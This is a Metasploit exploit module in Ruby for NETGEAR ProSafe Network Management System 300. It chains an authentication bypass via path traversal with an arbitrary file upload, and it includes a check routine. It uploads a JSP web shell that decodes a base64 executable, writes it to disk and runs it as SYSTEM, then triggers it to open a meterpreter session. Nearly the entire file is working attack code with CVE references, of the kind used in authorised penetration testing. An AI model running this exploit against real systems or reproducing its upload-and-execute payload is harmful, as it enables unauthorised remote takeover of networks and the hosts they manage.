##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'NETGEAR ProSafe Network Management System 300 Arbitrary File Upload',
        'Description' => %q{
          Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems.
          The application has multiple vulnerabilities that can allow an unauthenticated remote
          attacker to execute code as SYSTEM user. Vulnerabilities include authentication bypass,
          SQL injection, arbitrary file upload, and privilege escalation across various versions.
          This module is able to spawn a meterpreter session by chaining together two specific
          vulnerabilities inside the FileUploadController and MyHandlerInterceptor classes.
          This module has been tested with versions 1.5.0.2, 1.4.0.17, 1.1.0.13, 1.7.0.12, and 1.7.0.1.
        },
        'Author' => [
          'Ege BALCI <egebalci[at]pm.me>', # Msf module update for CVE-2023-38096 and CVE-2023-38098
          'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and updated MSF module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['ZDI', '23-920'],
          ['ZDI', '23-918'],
          ['CVE', '2023-38096'],
          ['CVE', '2023-38098'],
          ['CVE', '2016-1525'],
          ['US-CERT-VU', '777024'],
          ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear_nms_rce.txt'],
          ['URL', 'https://seclists.org/fulldisclosure/2016/Feb/30'],
          ['URL', 'https://kb.netgear.com/000065707/Security-Advisory-for-Multiple-Vulnerabilities-on-the-ProSAFE-Network-Management-System-PSV-2023-0024-PSV-2023-0025'],
        ],
        'DefaultOptions' => { 'WfsDelay' => 5 },
        'Platform' => ['win'],
        'Arch' => [ARCH_X86, ARCH_X64],
        'Privileged' => true,
        'Targets' => [
          [ 'NETGEAR ProSafe Network Management System 300 / Windows', {} ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2016-02-04',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [true, 'Application path', '/'])
      ]
    )
  end

  def check
    res = send_request_cgi({
      'uri' => normalize_uri(datastore['TARGETURI'], 'userSession.do/../fileUpload.do'),
      'method' => 'POST',
      'vars_get' => { 'method' => 'loginHtml' } # This is required for auth bypass above v1.5.0.11
    })
    if res && res.code == 200 # if this endpoint returns 200 than we can exploit all targets
      Exploit::CheckCode::Detected
    else
      Exploit::CheckCode::Safe
    end
  end

  def generate_jsp_payload
    exe = generate_payload_exe
    base64_exe = Rex::Text.encode_base64(exe)
    payload_name = rand_text_alpha(rand(3..8))

    var_raw = 'a' + rand_text_alpha(rand(3..10))
    var_ostream = 'b' + rand_text_alpha(rand(3..10))
    var_buf = 'c' + rand_text_alpha(rand(3..10))
    var_decoder = 'd' + rand_text_alpha(rand(3..10))
    var_tmp = 'e' + rand_text_alpha(rand(3..10))
    var_path = 'f' + rand_text_alpha(rand(3..10))
    var_proc2 = 'e' + rand_text_alpha(rand(3..10))

    jsp = %|
    <%@page import="java.io.*"%>
    <%@page import="sun.misc.BASE64Decoder"%>
    <%
    try {
      String #{var_buf} = "#{base64_exe}";
      BASE64Decoder #{var_decoder} = new BASE64Decoder();
      byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());

      File #{var_tmp} = File.createTempFile("#{payload_name}", ".exe");
      String #{var_path} = #{var_tmp}.getAbsolutePath();

      BufferedOutputStream #{var_ostream} =
        new BufferedOutputStream(new FileOutputStream(#{var_path}));
      #{var_ostream}.write(#{var_raw});
      #{var_ostream}.close();
      Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
    } catch (Exception e) {
    }
    %>
    |

    jsp.gsub!(/[\n\t\r]/, '')

    return jsp
  end

  def exploit
    jsp_payload = generate_jsp_payload

    rand_name = Rex::Text.rand_text_alpha(rand(8..15))
    post_data = Rex::MIME::Message.new
    post_data.add_part('topology', nil, nil, 'form-data; name="type"')
    post_data.add_part(jsp_payload,
                       'application/octet-stream', 'binary',
                       "form-data; name=\"FileData\"; filename=\"#{rand_name}.jsp\"")
    data = post_data.to_s

    print_status("#{peer} - Uploading payload...")
    res = send_request_cgi({
      'uri' => normalize_uri(datastore['TARGETURI'], 'userSession.do/../fileUpload.do'),
      'method' => 'POST',
      'data' => data,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'vars_get' => {
        'method' => 'loginHtml',
        'format' => 'jsp'
      }
    })
    if res && res.code == 200 && res.get_json_document['success']
      print_good("#{peer} - Payload uploaded successfully")
    else
      fail_with(Failure::Unknown, "#{peer} - Payload upload failed")
    end

    payload_name = res.get_json_document['file']
    if payload_name.empty?
      fail_with(Failure::Unknown, "#{peer} - Unexpected upload response")
    end

    print_status("#{peer} - Executing payload...")
    send_request_cgi({
      'uri' => normalize_uri(datastore['TARGETURI'], "lib-1.0/external/flash/topology/map/#{payload_name}"),
      'method' => 'GET'
    })
    handler
  end
end
